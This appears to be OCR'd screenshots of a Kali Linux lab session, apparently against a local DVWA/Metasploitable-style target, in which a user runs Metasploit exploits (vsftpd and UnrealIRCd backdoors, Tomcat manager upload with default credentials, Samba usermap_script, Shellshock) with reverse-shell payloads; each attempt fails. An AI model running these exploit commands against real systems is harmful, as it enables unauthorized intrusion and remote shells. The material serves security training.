Archivo Máquina Ver Entrada Dispositivos Ayuda

1 2 3 4

borjagomez@vboxkalilinux: ~

Archivo Acciones Editar Vista Ayuda

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds
┌──(borjagomez㉿vboxkalilinux)-[~]
└─$ msfconsole
use exMetasploit tip: Use the analyze command to suggest runnable modules for
hosts

```
          .:ok000kdc'          'cdk000ko:.
       .x00000000000c        c00000000000x.
      :000000000000000k,    ,k00000000000000:
     '000000000kkkk00000: :00000000000000000'
    .o0000000.MMMM.00000o0000l.MMMM,000000000o
    d00000000.MMMMMM.c00000c.MMMMMM,00000000x
    l00000000.MMMMMMMMM;d;MMMMMMMM,000000000l
    ,00000000.MMM.;MMMMMMMMM;MMMM,000000000.
    c0000000.MMM.00c.MMMMM'o00.MMM,0000000c
    o000000.MMM.0000.MMM:0000.MMM,0000000o
    l00000.MMM.0000.MMM:0000.MMM,00000l
    ;0000'MMM.0000.MMM:0000.MMM;0000;
     .d00o'WM.0000occcx0000.MX'x00d.
      ,k0l'M.0000000000000.M'd0k,
       :kk;.000000000000.;0k:
         ;k000000000000k:
          ,x00000000000x,
           .l0000000l.
              ,d0d,
```

         =[metasploit v6.4.45-dev   ]
+ -- --=[2489 exploits - 1281 auxiliary - 393 post   ]
+ -- --=[1463 payloads - 49 encoders - 13 nops   ]
+ -- --=[9 evasion   ]

x64   debian DVWA

CTRL DER

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

x64   debian DVWA

```
                =[ metasploit v6.4.45-dev
+ -- --=[ 2489 exploits - 1281 auxiliary - 393 post      ]
+ -- --=[ 1463 payloads - 49 encoders - 13 nops          ]
+ -- --=[ 9 evasion                                      ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

debian DVWA

Archivo Acciones Editar Vista Ayuda

```
                =[ metasploit v6.4.45-dev
 - -- --=[ 2489 exploits - 1281 auxiliary - 393 post     ]
 - -- --=[ 1463 payloads - 49 encoders - 13 nops         ]
 - -- --=[ 9 evasion                                     ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use exploit/multi/http/tomcat_mgr_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/tomcat_mgr_upload) > set rport 8180
rport => 8180
msf6 exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat
httpusername => tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat
httppassword => tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > run
[*] Started reverse TCP handler on 192.168.0.20:4444
[*] Retrieving session ID and CSRF token ...
[-] Exploit aborted due to failure: unknown: Unable to access the Tomcat Manager
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/tomcat_mgr_upload) >
```

debian DVWA

Archivo Acciones Editar Vista Ayuda

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 127.0.0.1
rhost ⇒ 127.0.0.1
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > use exploit/multi/http/tomcat_mgr_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 127.0.0.1
RHOSTS ⇒ 127.0.0.1
msf6 exploit(multi/http/tomcat_mgr_upload) > set rport 8180
rport ⇒ 8180
msf6 exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat
httpusername ⇒ tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat
httppassword ⇒ tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > run
[*] Started reverse TCP handler on 192.168.0.20:4444
[*] Retrieving session ID and CSRF token ...
[-] Exploit aborted due to failure: unknown: Unable to access the Tomcat Manager
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/tomcat_mgr_upload) > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > set rhosts 127.0.0.1
rhosts ⇒ 127.0.0.1
msf6 exploit(multi/samba/usermap_script) > set payload cmd/unix/reverse
payload ⇒ cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set lhost 127.0.0.1
lhost ⇒ 127.0.0.1
msf6 exploit(multi/samba/usermap_script) > run
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP double handler on 127.0.0.1:4444
[-] 127.0.0.1:139 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:139).
[*] Exploit completed, but no session was created.
msf6 exploit(multi/samba/usermap_script) >
```

CTRL DERECHA

x64 **debian DVWA**

13:59

```
httpusername ⇒ tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat
httppassword ⇒ tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > run
[*] Started reverse TCP handler on 192.168.0.20:4444
[*] Retrieving session ID and CSRF token ...
[-] Exploit aborted due to failure: unknown: Unable to access the Tomcat Manager
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/tomcat_mgr_upload) > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > set rhosts 127.0.0.1
rhosts ⇒ 127.0.0.1
msf6 exploit(multi/samba/usermap_script) > set payload cmd/unix/reverse
payload ⇒ cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set lhost 127.0.0.1
lhost ⇒ 127.0.0.1
msf6 exploit(multi/samba/usermap_script) > run
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP double handler on 127.0.0.1:4444
[-] 127.0.0.1:139 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:139).
[*] Exploit completed, but no session was created.
msf6 exploit(multi/samba/usermap_script) > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 127.0.0.1
rhosts ⇒ 127.0.0.1
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload ⇒ cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 127.0.0.1
lhost ⇒ 127.0.0.1
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP double handler on 127.0.0.1:4444
[-] 127.0.0.1:6667 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:6667).
[*] Exploit completed, but no session was created.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >
```

CTRL DERECHA

x64 **debian DVWA**

14:01
05/04/2025

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP double handler on 127.0.0.1:4444
[-] 127.0.0.1:6667 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote hos
).
[*] Exploit completed, but no session was created.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > mysql -h 127.0.0.1 -u root -p
[*] exec: mysql -h 127.0.0.1 -u root -p

Enter password:
ERROR 2002 (HY000): Can't connect to server on '127.0.0.1' (115)
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use exploit/multi/http/apache_mod_cgi_bash_env_exec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/status
targeturi => /cgi-bin/status
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > run
[-] Exploit failed: cmd/unix/reverse is not a compatible payload.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > 
```